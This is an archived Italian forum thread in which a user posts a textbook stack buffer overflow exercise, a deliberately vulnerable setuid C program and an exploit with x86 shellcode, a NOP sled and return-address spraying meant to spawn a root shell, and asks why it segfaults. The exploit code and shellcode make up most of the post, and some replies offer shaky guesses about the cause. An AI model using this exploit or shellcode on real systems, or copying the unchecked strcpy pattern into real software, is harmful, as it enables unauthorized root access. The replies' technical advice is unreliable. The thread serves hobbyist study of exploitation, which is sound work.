PDA

Visualizza la versione completa : [C] esempio buffer overflow linux non mi riesce!


Occam
29-03-2005, 23:38
Salve a tutti!

Ho provato ad eseguire un'esempio di buffer overflow preso dal libro "L'arte dell'hacking" di Jon Erickson.
L'esempio consta di due eseguibili: "vuln.c" e "exploit.c", il primo con un bug di buffer overflow e il secondo che tenta di iniettargli uno shellcode con lo scopo di attivare una shell di root.

Dopo aver settato il suid a root per vuln ho provato ad eseguire exploit, ma mi restituisce sempre segmentation fault.
Ecco i due listati:

//vuln.c
int main(int argc, char *argv[])
{
char buffer[500];

strcpy(buffer, argv[1]);

return 0;
}
//////////////////////////////

//exploit.c
#include <stdlib.h>

char shellcode[] =
"\x31\xc0\xb0\x46\x31\xdb\x31\xc9\xcd\x80\xeb\x16\x 5b\x31\xc0"
"\x88\x43\x07\x89\x5b\x08\x89\x43\x0c\xb0\x0b\x8d\x 4b\x08\x8d"
"\x53\x0c\xcd\x80\xe8\xe5\xff\xff\xff\x2f\x62\x69\x 6e\x2f\x73"
"\x68";

unsigned long sp(void)
{
__asm__("movl %esp, %eax");
}

int main(int argc, char *argv[])
{
int i, offset;
long esp, ret, *addr_ptr;
char *buffer, *ptr;

offset = 0;
esp = sp();

ret = esp - offset;

printf("Stack pointer (ESP) : 0x%x\n", esp);
printf(" Offset from ESP : 0x%x\n", offset);
printf("Desired Return Addr : 0x%x\n", ret);
printf("0x%x\n", &buffer);

buffer = malloc(800);

ptr = buffer;
addr_ptr = (long *)ptr;
for (i = 0; i < 800; i += 4)
{
*(addr_ptr++) = ret;
}

for (i = 0; i < 200; i++)
{
buffer[i] = '\x90';
}

ptr = buffer + 200;
for (i = 0; i < strlen(shellcode); i++)
{
*(ptr++) = shellcode[i];
}

buffer[600 - 1] = 0;
execl("./vuln", "vuln", buffer, 0);

free(buffer);

return 0;
}

Qualcuno puņ provarli e farmi sapere se gli funzionano?
Grazie.

Occam
29-03-2005, 23:47
Dimenticavo: uso SUSE 9.2 con gcc versione 3.3.4.

Tigre851
30-03-2005, 14:31
Sinceramente non me ne intendo molto di sicurezza e di buffer overflow... cmq siccome la protezione della memoria in linux č molto aggressiva non vorrei mai che l'overflow (e quindi la scrittura di celle di memoria adiacenti a quelle 500 dichiarate) facesse andare in segmentation fault il tuo programma... io riproverei lo stesso codice sotto winzoz(magari il 98)... fammi sapere... ciao!

Tigre851
30-03-2005, 14:33
scusa non avevo letto con attenzione... tu devi attivare una shell di root quindi hai bisogno di testare su linux...

/dev/null
30-03-2005, 14:52
Penso anch'io com'ha detto Tigre851: dopo i 500 bytes di buffer e' possibile che il processo non disponga di abbastanza spazio per contenere il codice malevolo...
Prova ad allongare vuln.c aggiungendo altre variabile ed altre istruzioni inutuili col solo scopo di far aumentare le pagine di memoria usate da vuln...

Non ne so molto sul buffer overflow... Comunque se t'interessa dai un'occhiata a questa guida: http://www.lulli.net/WEB/hack/xximparare-c/node514.html
Tempo fa testai l'esempio e funziono' :)

:ciauz:

Occam
30-03-2005, 14:58
Grazie per l'attenzione!

Vi farņ sapere.

Loading